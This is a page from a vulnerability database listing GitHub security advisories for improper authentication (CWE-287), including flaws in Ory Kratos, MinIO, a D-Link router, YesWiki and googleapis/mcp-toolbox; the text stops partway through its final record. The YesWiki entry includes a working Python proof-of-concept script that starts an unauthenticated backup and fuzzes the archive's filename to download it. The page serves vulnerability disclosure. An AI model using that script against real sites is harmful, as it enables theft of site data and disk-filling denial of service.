Common Weakness Enumeration

CWE-287

Discouraged

Improper Authentication

Abstraction: Class · Status: Draft

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

5969 vulnerabilities reference this CWE, most recent first.

GHSA-WC42-38JG-6FV2

Vulnerability from github – Published: 2022-05-02 03:12 – Updated: 2022-05-02 03:12
VLAI
Details

OpenEvidence 1.0.6 and earlier does not properly check the return value from the OpenSSL EVP_VerifyFinal function, which allows remote attackers to bypass validation of the certificate chain via a malformed SSL/TLS signature for DSA and ECDSA keys, a similar vulnerability to CVE-2008-5077.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2009-0048"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2009-01-07T18:30:00Z",
    "severity": "MODERATE"
  },
  "details": "OpenEvidence 1.0.6 and earlier does not properly check the return value from the OpenSSL EVP_VerifyFinal function, which allows remote attackers to bypass validation of the certificate chain via a malformed SSL/TLS signature for DSA and ECDSA keys, a similar vulnerability to CVE-2008-5077.",
  "id": "GHSA-wc42-38jg-6fv2",
  "modified": "2022-05-02T03:12:32Z",
  "published": "2022-05-02T03:12:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2009-0048"
    },
    {
      "type": "WEB",
      "url": "http://www.ocert.org/advisories/ocert-2008-016.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/499827/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2009/0047"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-WC43-73W7-X2F5

Vulnerability from github – Published: 2024-09-26 17:49 – Updated: 2024-09-26 21:11
VLAI
Summary
Ory Kratos's setting required_aal `highest_available` does not properly respect code + mfa credentials
Details

Preconditions

  • The code login method is enabled with the passwordless_enabled flag set to true .
  • A 2FA method such as totp is enabled.
  • required_aal of the whomai check or the settings flow is set to highest_available. AAL stands for Authenticator Assurance Levels and can range from 0 (no factor) to 2 (two factors).
  • A user uses the code method as the only login method available. They do not have a password or any other first factor credential enabled.
  • The user has 2FA enabled.
  • The user’s available_aal is incorrectly stored in the database as aal1 or aal0 or NULL.
  • A user signs in using the code method, but does not complete the 2FA challenge.

Example server configuration

Below you will find an vulnerable example configuration. Keep in mind that, for the account to be vulnerable, the account must have no first factor except the code method enabled plus a second factor.

selfservice:
  methods:
    code:
      # The `code` login method is enabled with the `passwordless_enabled` flag set to `true`
      passwordless_enabled: true
    totp:
      # 2FA method such as `totp` is enabled
      enabled: true
  flows:
    settings:
      # This is set
      required_aal: highest_available
session:
  whoami:
    # Or this
    required_aal: highest_available

Impact

Given the preconditions, the highest_available setting will incorrectly assume that the identity’s highest available AAL is aal1 even though it really is aal2. This means that the highest_available configuration will act as if the user has only one factor set up, for that particular user. This means that they can call the settings and whoami endpoint without a aal2 session, even though that should be disallowed.

An attacker would need to steal or guess a valid login OTP of a user who has only OTP for login enabled and who has an incorrect available_aal value stored, to exploit this vulnerability.

All other aspects of the session (e.g. the session’s aal) are not impacted by this issue.

On Ory Network, only 0,00066% of registered users were affected by this issue, and most of those users appeared to be test users. Their respective AAL values have since been updated and they are no longer vulnerable to this attack.

Patches

Version 1.3.0 is not affected by this issue.

Workarounds

If you require 2FA please disable the passwordless code login method. If that is not possible, check the sessions aal to identify if the user has aal1 or aal2.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.2.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/ory/kratos"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-45042"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-09-26T17:49:17Z",
    "nvd_published_at": "2024-09-26T18:15:07Z",
    "severity": "MODERATE"
  },
  "details": "## Preconditions\n\n- The `code` login method is enabled with the `passwordless_enabled` flag set to `true` .\n- A 2FA method such as `totp` is enabled.\n- `required_aal` of the whomai check or the settings flow is set to `highest_available`. AAL stands for Authenticator Assurance Levels and can range from 0 (no factor) to 2 (two factors).\n- A user uses the `code` method as the **only** login method available. They do not have a password or any other first factor credential enabled.\n- The user has 2FA enabled.\n- The user\u2019s `available_aal` is incorrectly stored in the database as `aal1` or `aal0` or `NULL`.\n- A user signs in using the code method, but does not complete the 2FA challenge.\n\n**Example server configuration**\n\nBelow you will find an vulnerable example configuration. Keep in mind that, for the account to be vulnerable, the account must have no first factor except the `code` method enabled plus a second factor.\n\n```\nselfservice:\n  methods:\n    code:\n      # The `code` login method is enabled with the `passwordless_enabled` flag set to `true`\n      passwordless_enabled: true\n    totp:\n      # 2FA method such as `totp` is enabled\n      enabled: true\n  flows:\n    settings:\n      # This is set\n      required_aal: highest_available\nsession:\n  whoami:\n    # Or this\n    required_aal: highest_available\n```\n\n## Impact\n\nGiven the preconditions, the `highest_available` setting will incorrectly assume that the identity\u2019s highest available AAL is `aal1` even though it really is `aal2`. This means that the `highest_available` configuration will act as if the user has only one factor set up, for that particular user. This means that they can call the settings and whoami endpoint without a `aal2` session, even though that should be disallowed.\n\nAn attacker would need to steal or guess a valid login OTP of a user who has only OTP for login enabled and who has an incorrect `available_aal` value stored, to exploit this vulnerability.\n\nAll other aspects of the session (e.g. the session\u2019s aal) are not impacted by this issue.\n\nOn Ory Network, only 0,00066% of registered users were affected by this issue, and most of those users appeared to be test users. Their respective AAL values have since been updated and they are no longer vulnerable to this attack.\n\n### Patches\n\nVersion 1.3.0 is not affected by this issue.\n\n### Workarounds\n\nIf you require 2FA please disable the passwordless code login method. If that is not possible, check the sessions `aal` to identify if the user has `aal1` or `aal2`.",
  "id": "GHSA-wc43-73w7-x2f5",
  "modified": "2024-09-26T21:11:01Z",
  "published": "2024-09-26T17:49:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ory/kratos/security/advisories/GHSA-wc43-73w7-x2f5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45042"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ory/kratos"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Ory Kratos\u0027s setting required_aal `highest_available` does not properly respect code + mfa credentials"
}

GHSA-WC79-7X8X-2P58

Vulnerability from github – Published: 2025-03-03 19:56 – Updated: 2025-03-03 19:56
VLAI
Summary
MinIO allows an SFTP authentication bypass due to improperly trusted SSH key
Details

Summary

A bug in evaluating the trust of the SSH key used in an SFTP connection to MinIO allows authentication bypass and unauthorized data access.

Details

On a MinIO server with SFTP access configured and using LDAP as an external identity provider, MinIO supports SSH key based authentication for SFTP connections when the user has the sshPublicKey attribute set in their LDAP server. The server trusts the client's key only when the public key is the same as the sshPublicKey attribute.

Due to the bug, when the user has no sshPublicKey property in LDAP, the server ends up trusting the key allowing the client to perform any FTP operations allowed by the MinIO access policies associated with the LDAP user (or any of their groups).

The bug was introduced in https://github.com/minio/minio/commit/91e1487de45720753c9e9e4c02b1bd16b7e452fa.

Impact

The following requirements must be met to exploit this vulnerability:

  1. MinIO server must be configured to allow SFTP access and use LDAP as an external identity provider.
  2. Knowledge of an LDAP username that does not have the sshPublicKey property set.
  3. Such an LDAP username or one of their groups must also have some MinIO access policy configured.

When this bug is successfully exploited, the attacker can perform any FTP operations (i.e. reading, writing, deleting and listing objects) allowed by the access policy associated with the LDAP user account (and their groups).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/minio/minio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.0-20240605075113-91e1487de457"
            },
            {
              "fixed": "0.0.0-20250227184332-4c71f1b4ec0f"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-27414"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-03T19:56:58Z",
    "nvd_published_at": "2025-02-28T21:15:27Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n_A bug in evaluating the trust of the SSH key used in an SFTP connection to MinIO allows authentication bypass and unauthorized data access._\n\n### Details\n\nOn a MinIO server with SFTP access configured and using LDAP as an external identity provider, MinIO supports SSH key based authentication for SFTP connections when the user has the `sshPublicKey` attribute set in their LDAP server. The server trusts the client\u0027s key only when the public key is the same as the `sshPublicKey` attribute.\n\nDue to the bug, when the user has no `sshPublicKey` property in LDAP, the server ends up trusting the key allowing the client to perform any FTP operations allowed by the MinIO access policies associated with the LDAP user (or any of their groups).\n\nThe bug was introduced in https://github.com/minio/minio/commit/91e1487de45720753c9e9e4c02b1bd16b7e452fa.\n\n### Impact\n\nThe following requirements must be met to exploit this vulnerability:\n\n1. MinIO server must be configured to allow SFTP access and use LDAP as an external identity provider.\n2. Knowledge of an LDAP username that does not have the `sshPublicKey` property set.\n3. Such an LDAP username or one of their groups must also have some MinIO access policy configured.\n\nWhen this bug is successfully exploited, the attacker can perform any FTP operations (i.e. reading, writing, deleting and listing objects) allowed by the access policy associated with the LDAP user account (and their groups).",
  "id": "GHSA-wc79-7x8x-2p58",
  "modified": "2025-03-03T19:56:58Z",
  "published": "2025-03-03T19:56:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/minio/minio/security/advisories/GHSA-wc79-7x8x-2p58"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27414"
    },
    {
      "type": "WEB",
      "url": "https://github.com/minio/minio/commit/4c71f1b4ec0fb2a473ddaac18c20ec9e63f267ec"
    },
    {
      "type": "WEB",
      "url": "https://github.com/minio/minio/commit/91e1487de45720753c9e9e4c02b1bd16b7e452fa"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/minio/minio"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MinIO allows an SFTP authentication bypass due to improperly trusted SSH key"
}

GHSA-WC7R-HP6Q-64M9

Vulnerability from github – Published: 2025-02-18 15:31 – Updated: 2025-02-19 18:32
VLAI
Details

A vulnerability in the D-Link DIR-859 router with firmware version A3 1.05 and earlier permits unauthorized individuals to bypass the authentication. An attacker can obtain a user name and password by forging a post request to the / getcfg.php page.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-57045"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-18T15:15:16Z",
    "severity": "CRITICAL"
  },
  "details": "A vulnerability in the D-Link DIR-859 router with firmware version A3 1.05 and earlier permits unauthorized individuals to bypass the authentication. An attacker can obtain a user name and password by forging a post request to the / getcfg.php page.",
  "id": "GHSA-wc7r-hp6q-64m9",
  "modified": "2025-02-19T18:32:20Z",
  "published": "2025-02-18T15:31:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-57045"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Shuanunio/CVE_Requests/blob/main/D-Link/DIR-859/ACL%20bypass%20Vulnerability%20in%20D-Link%20DIR-859.md"
    },
    {
      "type": "WEB",
      "url": "https://www.dlink.com/en/security-bulletin"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WC9G-6J9W-HR95

Vulnerability from github – Published: 2025-04-29 14:41 – Updated: 2025-04-30 17:26
VLAI
Summary
YesWiki Vulnerable to Unauthenticated Site Backup Creation and Download
Details

Summary

The request to commence a site backup can be performed without authentication. Then these backups can also be downloaded without authentication.

The archives are created with a predictable filename, so a malicious user could create an archive and then download the archive without being authenticated.

Details

Create an installation using the instructions found in the docker folder of the repository, setup the site, and then send the request to create an archive, which you do not need to be authenticated for:

POST /?api/archives HTTP/1.1
Host: localhost:8085

action=startArchive&params%5Bsavefiles%5D=true&params%5Bsavedatabase%5D=true&callAsync=true

Then to retrieve it, make a simple GET request like to the correct URL:

http://localhost:8085/?api/archives/2025-04-12T14-34-01_archive.zip

A malicious attacker could simply fuzz this filename.

PoC

Here is a python script to fuzz this:

#!/usr/bin/env python3

import requests
import argparse
import datetime
import time
from urllib.parse import urljoin
from email.utils import parsedate_to_datetime
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Hardcoded proxy config for Burp Suite
BURP_PROXIES = {
    "http": "http://127.0.0.1:8080",
    "https": "http://127.0.0.1:8080"
}

def send_post_request(base_url, use_proxy=False):
    url = urljoin(base_url, "/?api/archives")
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36",
    }

    data = {
        "action": "startArchive",
        "params[savefiles]": "true",
        "params[savedatabase]": "true",
        "callAsync": "true"
    }

    proxies = BURP_PROXIES if use_proxy else None
    response = requests.post(url, headers=headers, data=data, proxies=proxies, verify=False)
    print(f"[+] Archive start response code: {response.status_code}")

    server_date = response.headers.get("Date")
    if server_date:
        ts = parsedate_to_datetime(server_date)
        print(f"[✓] Server time (from Date header): {ts.strftime('%Y-%m-%d %H:%M:%S')} UTC")
        return ts
    else:
        print("[!] Server did not return a Date header, falling back to local UTC.")
        return datetime.datetime.utcnow()

def try_download_files(base_url, timestamp, use_proxy=False):
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36",
    }

    proxies = BURP_PROXIES if use_proxy else None
    print("[*] Trying to download the archive with timestamp fuzzing (±10 seconds)...")

    base_ts = timestamp + datetime.timedelta(hours=2)

    time.sleep(30)  # delay to generate the archive

    for offset in range(-4, 15):
        ts = base_ts + datetime.timedelta(seconds=offset)
        filename = ts.strftime("%Y-%m-%dT%H-%M-%S_archive.zip")
        url = urljoin(base_url, f"/?api/archives/{filename}")
        print(f"[>] Trying: {url}")
        r = requests.get(url, headers=headers, proxies=proxies, verify=False)

        if r.status_code == 200 and r.headers.get("Content-Type", "").startswith("application/zip"):
            print(f"[✓] Archive found and downloaded: {filename}")
            with open(filename, "wb") as f:
                f.write(r.content)
            return

    print("[!] No archive found within the fuzzed window.")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Trigger archive and fetch resulting file with timestamp fuzzing.")
    parser.add_argument("host", help="Base host URL, e.g., http://localhost:8085")
    parser.add_argument("-p", "--proxy", action="store_true", help="Route requests through Burp Suite proxy at 127.0.0.1:8080")
    args = parser.parse_args()

    ts = send_post_request(args.host, use_proxy=args.proxy)
    print(f"[+] Archive request sent at (UTC): {ts.strftime('%Y-%m-%d %H:%M:%S')}")

    try_download_files(args.host, ts, use_proxy=args.proxy)

Impact

Denial of Service - A malicious attacker could simply make numerous requests to create archives and fill up the file system with archives.

Site Compromise - A malicious attacker can download the archive which will contain sensitive site information.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.5.3"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "yeswiki/yeswiki"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-46348"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-29T14:41:31Z",
    "nvd_published_at": "2025-04-29T21:15:52Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nThe request to commence a site backup can be performed without authentication. Then these backups can also be downloaded without authentication. \n\nThe archives are created with a predictable filename, so a malicious user could create an archive and then download the archive without being authenticated. \n\n### Details\n\nCreate an installation using the instructions found in the docker folder of the repository, setup the site, and then send the request to create an archive, which you do not need to be authenticated for: \n\n```\nPOST /?api/archives HTTP/1.1\nHost: localhost:8085\n\naction=startArchive\u0026params%5Bsavefiles%5D=true\u0026params%5Bsavedatabase%5D=true\u0026callAsync=true\n```\nThen to retrieve it, make a simple `GET` request like to the correct URL: \n```\nhttp://localhost:8085/?api/archives/2025-04-12T14-34-01_archive.zip\n```\nA malicious attacker could simply fuzz this filename.\n\n### PoC\nHere is a python script to fuzz this: \n\n```\n#!/usr/bin/env python3\n\nimport requests\nimport argparse\nimport datetime\nimport time\nfrom urllib.parse import urljoin\nfrom email.utils import parsedate_to_datetime\nimport urllib3\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n# Hardcoded proxy config for Burp Suite\nBURP_PROXIES = {\n    \"http\": \"http://127.0.0.1:8080\",\n    \"https\": \"http://127.0.0.1:8080\"\n}\n\ndef send_post_request(base_url, use_proxy=False):\n    url = urljoin(base_url, \"/?api/archives\")\n    headers = {\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36\",\n    }\n\n    data = {\n        \"action\": \"startArchive\",\n        \"params[savefiles]\": \"true\",\n        \"params[savedatabase]\": \"true\",\n        \"callAsync\": \"true\"\n    }\n\n    proxies = BURP_PROXIES if use_proxy else None\n    response = requests.post(url, headers=headers, data=data, proxies=proxies, verify=False)\n    print(f\"[+] Archive start response code: {response.status_code}\")\n\n    server_date = response.headers.get(\"Date\")\n    if server_date:\n        ts = parsedate_to_datetime(server_date)\n        print(f\"[\u2713] Server time (from Date header): {ts.strftime(\u0027%Y-%m-%d %H:%M:%S\u0027)} UTC\")\n        return ts\n    else:\n        print(\"[!] Server did not return a Date header, falling back to local UTC.\")\n        return datetime.datetime.utcnow()\n\ndef try_download_files(base_url, timestamp, use_proxy=False):\n    headers = {\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36\",\n    }\n\n    proxies = BURP_PROXIES if use_proxy else None\n    print(\"[*] Trying to download the archive with timestamp fuzzing (\u00b110 seconds)...\")\n\n    base_ts = timestamp + datetime.timedelta(hours=2)\n\n    time.sleep(30)  # delay to generate the archive\n\n    for offset in range(-4, 15):\n        ts = base_ts + datetime.timedelta(seconds=offset)\n        filename = ts.strftime(\"%Y-%m-%dT%H-%M-%S_archive.zip\")\n        url = urljoin(base_url, f\"/?api/archives/{filename}\")\n        print(f\"[\u003e] Trying: {url}\")\n        r = requests.get(url, headers=headers, proxies=proxies, verify=False)\n\n        if r.status_code == 200 and r.headers.get(\"Content-Type\", \"\").startswith(\"application/zip\"):\n            print(f\"[\u2713] Archive found and downloaded: {filename}\")\n            with open(filename, \"wb\") as f:\n                f.write(r.content)\n            return\n\n    print(\"[!] No archive found within the fuzzed window.\")\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser(description=\"Trigger archive and fetch resulting file with timestamp fuzzing.\")\n    parser.add_argument(\"host\", help=\"Base host URL, e.g., http://localhost:8085\")\n    parser.add_argument(\"-p\", \"--proxy\", action=\"store_true\", help=\"Route requests through Burp Suite proxy at 127.0.0.1:8080\")\n    args = parser.parse_args()\n\n    ts = send_post_request(args.host, use_proxy=args.proxy)\n    print(f\"[+] Archive request sent at (UTC): {ts.strftime(\u0027%Y-%m-%d %H:%M:%S\u0027)}\")\n\n    try_download_files(args.host, ts, use_proxy=args.proxy)\n```\n\n### Impact\n\nDenial of Service - A malicious attacker could simply make numerous requests to create archives and fill up the file system with archives. \n\nSite Compromise - A malicious attacker can download the archive which will contain sensitive site information.",
  "id": "GHSA-wc9g-6j9w-hr95",
  "modified": "2025-04-30T17:26:00Z",
  "published": "2025-04-29T14:41:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-wc9g-6j9w-hr95"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46348"
    },
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/commit/0d4efc880a727599fa4f6d7a64cc967afe475530"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/YesWiki/yeswiki"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "YesWiki Vulnerable to Unauthenticated Site Backup Creation and Download"
}

GHSA-WCPP-7R83-V4GC

Vulnerability from github – Published: 2025-02-18 18:33 – Updated: 2025-02-19 15:32
VLAI
Details

The administrative web interface of a Netgear C7800 Router running firmware version 6.01.07 (and possibly others) authenticates users via basic authentication, with an HTTP header containing a base64 value of the plaintext username and password. Because the web server also does not utilize transport security by default, this renders the administrative credentials vulnerable to eavesdropping by an adversary during every authenticated request made by a client to the router over a WLAN, or a LAN, should the adversary be able to perform a man-in-the-middle attack.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-41545"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-319"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-18T18:15:13Z",
    "severity": "CRITICAL"
  },
  "details": "The administrative web interface of a Netgear C7800 Router running firmware version 6.01.07 (and possibly others) authenticates users via basic authentication, with an HTTP header containing a base64 value of the plaintext username and password. Because the web server also does not utilize transport security by default, this renders the administrative credentials vulnerable to eavesdropping by an adversary during every authenticated request made by a client to the router over a WLAN, or a LAN, should the adversary be able to perform a man-in-the-middle attack.",
  "id": "GHSA-wcpp-7r83-v4gc",
  "modified": "2025-02-19T15:32:12Z",
  "published": "2025-02-18T18:33:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41545"
    },
    {
      "type": "WEB",
      "url": "https://seclists.org/fulldisclosure/2025/Feb/12"
    },
    {
      "type": "WEB",
      "url": "https://www.netgear.com/about/security"
    },
    {
      "type": "WEB",
      "url": "https://www.netgear.com/images/datasheet/networking/cablemodems/C7800.pdf"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2025/Feb/12"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WCPR-6G7X-P44R

Vulnerability from github – Published: 2026-06-18 15:32 – Updated: 2026-06-19 16:59
VLAI
Summary
googleapis/mcp-toolbox: authentication bypass vulnerability in the generic opaque token validation path (validateOpaqueToken)
Details

An authentication bypass vulnerability exists in the generic opaque token validation path (validateOpaqueToken) of googleapis/mcp-toolbox.

When the toolbox validates an opaque token via an OAuth 2.0 introspection endpoint (RFC 7662), it decodes the response into an introspectResp struct. However, the subsequent claim-checking logic (validateClaims) evaluates the issuer condition as if a.issuer != "" && iss != "". If the external OAuth provider's introspection response omits the optional iss (issuer) field completely, the variable iss defaults to an empty string. This causes the conditional block to evaluate to false and be skipped silently. Consequently, the application accepts tokens issued by unauthorized or unintended third-party identity providers.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/googleapis/mcp-toolbox"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-11718"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T16:59:25Z",
    "nvd_published_at": "2026-06-18T14:17:20Z",
    "severity": "CRITICAL"
  },
  "details": "An authentication bypass vulnerability exists in the generic opaque token validation path (validateOpaqueToken) of googleapis/mcp-toolbox.\n\nWhen the toolbox validates an opaque token via an OAuth 2.0 introspection endpoint (RFC 7662), it decodes the response into an introspectResp struct. However, the subsequent claim-checking logic (validateClaims) evaluates the issuer condition as if a.issuer != \"\" \u0026\u0026 iss != \"\". If the external OAuth provider\u0027s introspection response omits the optional iss (issuer) field completely, the variable iss defaults to an empty string. This causes the conditional block to evaluate to false and be skipped silently. Consequently, the application accepts tokens issued by unauthorized or unintended third-party identity providers.",
  "id": "GHSA-wcpr-6g7x-p44r",
  "modified": "2026-06-19T16:59:25Z",
  "published": "2026-06-18T15:32:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11718"
    },
    {
      "type": "WEB",
      "url": "https://github.com/googleapis/mcp-toolbox/pull/3360"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/googleapis/mcp-toolbox"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "googleapis/mcp-toolbox: authentication bypass vulnerability in the generic opaque token validation path (validateOpaqueToken)"
}

GHSA-WCWF-6V8X-JFHM

Vulnerability from github – Published: 2023-05-03 12:30 – Updated: 2023-05-03 12:30
VLAI
Details

Sensitive information disclosure due to improper authentication. The following products are affected: Acronis Cyber Protect 15 (Windows, Linux) before build 29486, Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-30995"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-03T11:15:11Z",
    "severity": "CRITICAL"
  },
  "details": "Sensitive information disclosure due to improper authentication. The following products are affected: Acronis Cyber Protect 15 (Windows, Linux) before build 29486, Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545.",
  "id": "GHSA-wcwf-6v8x-jfhm",
  "modified": "2023-05-03T12:30:40Z",
  "published": "2023-05-03T12:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-30995"
    },
    {
      "type": "WEB",
      "url": "https://security-advisory.acronis.com/advisories/SEC-3855"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WCWP-R3FJ-MM3P

Vulnerability from github – Published: 2022-04-30 18:12 – Updated: 2023-09-18 22:27
VLAI
Summary
Zope DTML implementation Improper Authentication
Details

The DTML implementation in the Z Object Publishing Environment (Zope) allows remote attackers to conduct unauthorized activities.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "zope"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "last_affected": "2.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2000-0062"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-09-18T22:27:55Z",
    "nvd_published_at": "2000-01-04T05:00:00Z",
    "severity": "HIGH"
  },
  "details": "The DTML implementation in the Z Object Publishing Environment (Zope) allows remote attackers to conduct unauthorized activities.",
  "id": "GHSA-wcwp-r3fj-mm3p",
  "modified": "2023-09-18T22:27:55Z",
  "published": "2022-04-30T18:12:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2000-0062"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20010218085743/http://www.securityfocus.com/bid/922"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Zope DTML implementation Improper Authentication"
}

GHSA-WCX7-W66C-FC49

Vulnerability from github – Published: 2022-05-01 18:36 – Updated: 2022-05-01 18:36
VLAI
Details

adduser.php in PHP-AGTC Membership (AGTC-Membership) System 1.1a does not require authentication, which allows remote attackers to create accounts via a modified form, as demonstrated by an account with admin (userlevel 4) privileges.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2007-5752"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-10-31T17:46:00Z",
    "severity": "HIGH"
  },
  "details": "adduser.php in PHP-AGTC Membership (AGTC-Membership) System 1.1a does not require authentication, which allows remote attackers to create accounts via a modified form, as demonstrated by an account with admin (userlevel 4) privileges.",
  "id": "GHSA-wcx7-w66c-fc49",
  "modified": "2022-05-01T18:36:33Z",
  "published": "2022-05-01T18:36:33Z",
  "references": [
    {
      "type": "ADVISORY",
